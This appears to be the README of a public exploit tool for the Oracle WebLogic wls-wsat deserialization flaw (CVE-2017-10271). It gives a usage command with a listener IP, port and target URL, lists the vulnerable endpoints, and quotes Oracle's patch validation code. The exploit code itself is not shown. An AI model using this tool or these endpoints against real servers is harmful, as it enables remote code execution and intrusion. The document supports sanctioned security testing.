kkirsche/cve-2017-10271Oracle WebLogic WLS-WSAT Remote Code Execution Exploit (CVE-2017-10271)
Weblogic wls-wsat Component Deserialization Vulnerability (CVE-2017-10271) Detection and Exploitation Script
$ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/
You are responsible for the use of this script. Kevin Kirsche takes no responsibility for any actions taken using the code here. The code was created for teams looking to validate the security of their servers, not for malicious use.
Big thanks to Luffin for creating the original POC that this was based on https://github.com/Luffin/CVE-2017-10271
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
CVE 2017-3506
Original Source: https://blog.nsfocusglobal.com/threats/vulnerability-analysis/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
Updated Source: https://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()) {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
}
}
}
... more code here ...
}
}
}
}
}